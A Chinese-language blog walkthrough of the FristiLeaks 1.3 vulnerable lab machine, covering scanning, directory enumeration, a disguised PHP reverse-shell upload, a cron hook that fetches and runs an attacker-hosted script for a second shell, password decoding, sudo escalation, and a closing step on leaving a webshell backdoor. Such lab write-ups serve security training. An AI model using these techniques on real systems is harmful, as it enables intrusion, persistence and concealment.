5.100个渗透测试实战#5(FristiLeaks_1.3)

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息(网卡名:eth0,IP:192.168.97.129);

2.查看靶机页面;

3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);

4.分析所得;

(二)信息收集——端口(服务)扫描;

1.扫描端口,以及端口对应的服务,以及靶机的运行的操作系统等信息;

2.分析所得:

(三)渗透测试——80端口(httpd服务)

1.对靶机的网站进行目录遍历;

2.扫描的同时,访问该网站主页;

3.尝试访问robots.txt页面;

4.逐个访问以上扫描出来的,以及robots.txt的页面内容;

5.分析所得:

6.访问,http://192.168.97.152/fristi;

7.使用eezeepz:keKkeKKeKKeKkEkkEk登录后台管理员页面;

(四)渗透测试——Getshell

1.已经上传了php-reverse-shell.php文件,理论上可以获取shell;

        2.使用python的pty模块,转换成交互式shell(靶机一般都安装了python);

(五)渗透测试——进一步信息收集,从而提升权限为root

1.开始致命连问;

2.分析所得:

3.建立/tmp/runthis文件,反弹admin用户的shell;

4.获取admin的交互式shell;

5.再一次致命连问,进行信息收集,从而本地提权;

6.现在已经获得fristigod的shell,再一次致命连问,获取最高权限;

(六)、删除痕迹,留下后门

1.在网站根目录放入1.php;(通过文件上传即可)

2.尝试菜刀连接;

四、总结

1.apache2.x存在着解析漏洞,可以用于文件上传,从而获取第一个shell;

2.根据提示,写系统自动执行的任务脚本,从而获取第二个shell;

3.根据提示,写解码脚本,切换用户到第三个shell;

4.根据sudo -l和history发现了蛛丝马迹;


一、实验环境

  • 靶机:FristiLeaks,IP地址:192.168.97.152
  • 测试机:Kali,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT
  • 问题:靶机的网卡名字有误,其网卡名为eth3,但是网卡配置文件里面试eth0,所以不能获得IP地址;
  • 解决问题:靶机是Centos6系统,我们可以破解该系统的密码,然后修改网卡配置文件里的网卡名为eth3,dhcp即可;

二、实验流程

  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口
  • 渗透测试——Getshell(三个用户依次进入其各自的shell)
  • 渗透测试——本地提权
  • 清楚痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现

1.查看kali的网卡和IP信息(网卡名:eth0,IP:192.168.97.129);

2.查看靶机页面;

3.探测特定网络内的主机存活状态(netdiscover、arp-scan、nmap);

  • netdiscover -i eth0 -r 192.168.97.0/24

             -i    指定网卡

             -r    指定网段

  • arp-scan -l

           --localnet or -l    指定扫描本地网络

  • nmap -sP 192.168.97.0/24

             -sP    ping扫描且不进行端口扫描

4.分析所得;

  • 测试机kali的IP地址:192.168.97.129/24
  • 靶机的IP地址:192.168.97.152/24

(二)信息收集——端口(服务)扫描;

1.扫描端口,以及端口对应的服务,以及靶机的运行的操作系统等信息;

  • nmap -p- -sV -O -A 192.168.97.152

          -p-        扫描全端口

         -sV       扫描端口对应的服务

         -O        扫描靶机的系统版本

         -A        扫描靶机的系统版本
 

2.分析所得:

  • 共扫描65535个端口,只有一个端口开启;
  • 80端口处于open状态,对应开启的服务是httpd服务;
  • 靶机运行的操作系统是centos,内核为2.6或者3.x

(三)渗透测试——80端口(httpd服务)

1.对靶机的网站进行目录遍历;

  • dirb http://192.168.97.152 /usr/share/dirb/wordlists/big.txt

            如下图所示,枚举到了两个目录,两个页面

  • 御剑扫描

          如下图所示,扫描到一个目录,两个页面

2.扫描的同时,访问该网站主页;

  • 火狐访问:http://192.168.97.152

             如下图所示,又三处可疑:①firstileaks  ②fristi  ③@xxxx

  • 查看源码:

           如下图所示,提示我们该注释,提示我们获取root权限,才能访问flag文件,渗透测试的时间限制在4h以内

  • 指纹识别该网站主页;

               如下图所示,无特殊的信息

3.尝试访问robots.txt页面;

4.逐个访问以上扫描出来的,以及robots.txt的页面内容;

  • http://192.168.97.152/cola

  • http://192.168.97.152/sisi

  • http://192.168.97.152/beer

  • http://192.168.97.152/cgi-bin

  • http://192.168.97.152/images

5.分析所得:

  • 有两张图片;
  • 第一张图片提示:这里不是url,说明我可能要对URL进行拼接从而获得想要的URL
  • 第二张图片提示:保持冷静并且drink fristi
  • 结合拼接url的提示和drink fristi的提示,构造出URL:http://192.168.97.152/fristi

6.访问,http://192.168.97.152/fristi;

  • http://192.168.97.152/fristi

              如下图所示,发现了后台登录页面

  • f12查看元素,或者查看源代码

             一个便条,署名是eezeepz

             一段base64编码的字符序列

  • 对base64字符串解码,发现其实是一张png图片;

  • 使用kali解码,导出图片,其内容是:keKkeKKeKKeKkEkkEk

7.使用eezeepz:keKkeKKeKKeKkEkkEk登录后台管理员页面;

  • eezeepz:keKkeKKeKKeKkEkkEk登录,发现跳转到了文件上传页面

  • 随便上传一个php文件,测试一下

            如下图所示,提示我们只允许上传png  jpg  gif文件

  • apache2.2.15可能存在着解析漏洞(从右往左解析上传的文件名,直到识别为止)
  • 上传php-reverse-shell.php.jpg

           如下图所示,已成功上传到/uploads目录

(四)渗透测试——Getshell

1.已经上传了php-reverse-shell.php文件,理论上可以获取shell;

  • kali侦听:nc -nvlp 8443

  • 浏览器访问,执行:http://192.168.97.152/fristi/uploads/php-reverse-shell.php.jpg

  • kali端:成功获取到shell

2.使用python的pty模块,转换成交互式shell(靶机一般都安装了python);

  • python -c 'import pty;pty.spawn("/bin/bash")'

              如下图所示,没有成功

(五)渗透测试——进一步信息收集,从而提升权限为root

1.开始致命连问;

  • whoami

  • id

  • pwd

  • ls

  • ls /home

  • cd /home
  • cd admin
  • cd fristigod
  • cd eezeepz
  • pwd

         如下图所示,发现只能进入到eezeepz的家目录

  • ls -l

          如下图所示,发现了一张便条

  • cat notes.txt

            如下图所示,是jerry给eezeepz的留言,根据提示:

                   

                     我让你可以做一些自动检查,但我只允许您访问/usr/bin/*下的系统二进制文件(此处存放着一些命令)。并且将一些                       经常需要的命令复制到了家目录,如chmod,df,cat,echo,ps,grep,egrep,这样你就可以从/home/admin使                       用那些命令了

                    只需在/tmp/中放一个名为“runthis”的文件,每行一个命令。

                    这个输出到/tmp/中的文件“cronresult”。它应该以我的帐户权限每一分钟运行一次。

2.分析所得:

  • 三个家目录,只有eezeepz可以进入,并且得到了一些提示;
  • 也就是让我在/tmp下建立一个runthis的文件,命令一行一个,系统每分钟执行一次;
  • 并且提示让我能进入一个admin用户的shell,可执行一些命令;

3.建立/tmp/runthis文件,反弹admin用户的shell;

  • kali写一个脚本1.py,以便于靶机执行该脚本(注意:该脚本为百度搜索得到)

  • kali临时打开http服务,以便靶机拉取该脚本:python -m SimpleHTTPServer 80

  • 在之前获取的shell上,也就是靶机的shell上,拉取该1.py到/tmp:wget  http://192.168.97.129/1.py

  • 把/tmp/runthis种的文件导入到/tmp/runthis中,以便靶机自动执行:echo  /usr/bin/python  /tmp/1.py  > /tmp/runthis

  • kali端另起一个终端,打开侦听5555端口,以便反弹admin的shell:nc -nvlp 5555

            如下图所示,反弹的admin的shell

4.获取admin的交互式shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

5.再一次致命连问,进行信息收集,从而本地提权;

  • 根据之前的提示,可能是要进入admin的家目录
  • cd 
  • pwd
  • ls

          如下图所示,发现了两个脚本,两个文本文件

  • cat cronjob.py

         如下图所示,这个是自动执行的任务工作的脚本

  • cat cryptpass.py

         如下图所示,这个是加密脚本

  • cat whoisyourgodnow.txt

         如下图所示,这个是加密后的密码

  • cat cryptedpass.txt

         如下图所示,也是一个加密后的密码

  • 根据加密脚本,写出解密的脚本2.py(注意:该脚本为百度搜索得到)

  • 解码得到,两个密码;

  • su 切换用户到fristigod,发现LetThereBeFristi!密码正确

  • 获取fristigod的交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

6.现在已经获得fristigod的shell,再一次致命连问,获取最高权限;

  • sudo -l

  • history

  • 该命令可以以root身份运行系统命令

  • 列出root家目录文件,发现可疑文件

  • cat该文件,得到Flag

(六)、删除痕迹,留下后门

1.在网站根目录放入1.php;(通过文件上传即可)

2.尝试菜刀连接;

四、总结

1.apache2.x存在着解析漏洞,可以用于文件上传,从而获取第一个shell;

2.根据提示,写系统自动执行的任务脚本,从而获取第二个shell;

3.根据提示,写解码脚本,切换用户到第三个shell;

4.根据sudo -l和history发现了蛛丝马迹;

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/105097860